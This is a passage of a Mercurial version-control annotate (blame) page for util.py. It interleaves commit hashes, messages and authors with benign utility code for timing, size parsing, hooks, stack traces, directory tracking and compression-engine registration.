Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3002 level = attr.ib(default=1) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3003 |
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3004 def __bytes__(self): |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3005 return timecount(self.elapsed) if self.elapsed else '<unknown>' |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3006 |
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3007 __str__ = encoding.strmethod(__bytes__) |
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3008 |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3009 @contextlib.contextmanager |
39259
e00123f63410
util: make timedcm require the label (API)
Augie Fackler <augie@google.com>
parents:
39258
diff
changeset
|
3010 def timedcm(whencefmt, *whenceargs): |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3011 """A context manager that produces timing information for a given context. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3012 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3013 On entering a timedcmstats instance is produced. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3014 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3015 This context manager is reentrant. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3016 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3017 """ |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3018 # track nested context managers |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3019 timedcm._nested += 1 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3020 timing_stats = timedcmstats(level=timedcm._nested) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3021 try: |
39257
497effb0a04a
util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents:
39209
diff
changeset
|
3022 with tracing.log(whencefmt, *whenceargs): |
497effb0a04a
util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents:
39209
diff
changeset
|
3023 yield timing_stats |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3024 finally: |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3025 timing_stats.elapsed = timer() - timing_stats.start |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3026 timedcm._nested -= 1 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3027 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3028 timedcm._nested = 0 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3029 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3030 def timed(func): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3031 '''Report the execution time of a function call to stderr. |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3032 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3033 During development, use as a decorator when you need to measure |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3034 the cost of a function, e.g. as follows: |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3035 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3036 @util.timed |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3037 def foo(a, b, c): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3038 pass |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3039 ''' |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3040 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3041 def wrapper(*args, **kwargs): |
39258
331ab85e910b
cleanup: make all uses of timedcm specify what they're timing
Augie Fackler <augie@google.com>
parents:
39257
diff
changeset
|
3042 with timedcm(pycompat.bytestr(func.__name__)) as time_stats: |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3043 result = func(*args, **kwargs) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3044 stderr = procutil.stderr |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3045 stderr.write('%s%s: %s\n' % ( |
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3046 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__), |
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3047 time_stats)) |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3048 return result |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3049 return wrapper |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3050 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3051 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3052 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3053 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3054 def sizetoint(s): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3055 '''Convert a space specifier to a byte count. |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3056 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3057 >>> sizetoint(b'30') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3058 30 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3059 >>> sizetoint(b'2.2kb') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3060 2252 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3061 >>> sizetoint(b'6M') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3062 6291456 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3063 ''' |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3064 t = s.strip().lower() |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3065 try: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3066 for k, u in _sizeunits: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3067 if t.endswith(k): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3068 return int(float(t[:-len(k)]) * u) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3069 return int(t) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3070 except ValueError: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3071 raise error.ParseError(_("couldn't parse size: %s") % s) |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3072 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3073 class hooks(object): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3074 '''A collection of hook functions that can be used to extend a |
26098 | 3075 function's behavior. Hooks are called in lexicographic order, |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3076 based on the names of their sources.''' |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3077 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3078 def __init__(self): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3079 self._hooks = [] |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3080 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3081 def add(self, source, hook): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3082 self._hooks.append((source, hook)) |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3083 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3084 def __call__(self, *args): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3085 self._hooks.sort(key=lambda x: x[0]) |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3086 results = [] |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3087 for source, hook in self._hooks: |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3088 results.append(hook(*args)) |
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3089 return results |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3090 |
36129
2874896a6e3b
util: format line number of stack trace using %d
Augie Fackler <augie@google.com>
parents:
36128
diff
changeset
|
3091 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3092 '''Yields lines for a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3093 Skips the 'skip' last entries, then return the last 'depth' entries. |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3094 Each file+linenumber is formatted according to fileline. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3095 Each line is formatted according to line. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3096 If line is None, it yields: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3097 length of longest filepath+line number, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3098 filepath+linenumber, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3099 function |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3100 |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3101 Not be used in production code but very convenient while developing. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3102 ''' |
36130
7ec26f27ca83
util: convert traceback-related sysstrs to sysbytes in getstackframes
Augie Fackler <augie@google.com>
parents:
36129
diff
changeset
|
3103 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3104 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3105 ][-depth:] |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3106 if entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3107 fnmax = max(len(entry[0]) for entry in entries) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3108 for fnln, func in entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3109 if line is None: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3110 yield (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3111 else: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3112 yield line % (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3113 |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3114 def debugstacktrace(msg='stacktrace', skip=0, |
37118
5be286db5fb5
procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37117
diff
changeset
|
3115 f=procutil.stderr, otherf=procutil.stdout, depth=0): |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3116 '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3117 Skips the 'skip' entries closest to the call, then show 'depth' entries. |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3118 By default it will flush stdout first. |
28496
b592564a803c
util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents:
28027
diff
changeset
|
3119 It can be used everywhere and intentionally does not require an ui object. |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3120 Not be used in production code but very convenient while developing. |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3121 ''' |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3122 if otherf: |
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3123 otherf.flush() |
31314
7c877cbf30d6
util: strip trailing newline from debugstacktrace message
Mads Kiilerich <madski@unity3d.com>
parents:
31141
diff
changeset
|
3124 f.write('%s at:\n' % msg.rstrip()) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3125 for line in getstackframes(skip + 1, depth=depth): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3126 f.write(line) |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3127 f.flush() |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3128 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3129 class dirs(object): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3130 '''a multiset of directory names from a dirstate or manifest''' |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3131 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3132 def __init__(self, map, skip=None): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3133 self._dirs = {} |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3134 addpath = self.addpath |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3135 if safehasattr(map, 'iteritems') and skip is not None: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3136 for f, s in map.iteritems(): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3137 if s[0] != skip: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3138 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3139 else: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3140 for f in map: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3141 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3142 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3143 def addpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3144 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3145 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3146 if base in dirs: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3147 dirs[base] += 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3148 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3149 dirs[base] = 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3150 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3151 def delpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3152 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3153 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3154 if dirs[base] > 1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3155 dirs[base] -= 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3156 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3157 del dirs[base] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3158 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3159 def __iter__(self): |
31430
807387581d89
py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents:
31404
diff
changeset
|
3160 return iter(self._dirs) |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3161 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3162 def __contains__(self, d): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3163 return d in self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3164 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3165 if safehasattr(parsers, 'dirs'): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3166 dirs = parsers.dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3167 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3168 def finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3169 pos = path.rfind('/') |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3170 while pos != -1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3171 yield path[:pos] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3172 pos = path.rfind('/', 0, pos) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3173 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3174 # compression code |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3175 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3176 SERVERROLE = 'server' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3177 CLIENTROLE = 'client' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3178 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3179 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3180 (u'name', u'serverpriority', |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3181 u'clientpriority')) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3182 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3183 class compressormanager(object): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3184 """Holds registrations of various compression engines. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3185 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3186 This class essentially abstracts the differences between compression |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3187 engines to allow new compression formats to be added easily, possibly from |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3188 extensions. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3189 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3190 Compressors are registered against the global instance by calling its |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3191 ``register()`` method. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3192 """ |
358cda0af6ee
util: create new abstraction for compression engines
